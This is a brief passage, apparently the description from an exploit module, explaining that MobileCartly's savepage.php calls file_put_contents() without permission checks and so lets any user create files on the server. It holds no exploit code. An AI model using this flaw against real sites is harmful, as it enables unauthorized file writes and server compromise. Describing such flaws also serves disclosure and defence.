|
||||
This module exploits a vulnerability in MobileCartly. The savepage.php file
|
||||
does not do any permission checks before using file_put_contents(), which
|
||||
allows any user to have direct control of that function to create files
|
||||
under the 'pages' directory by default, or anywhere else as long as the user
|
||||
has WRITE permission.
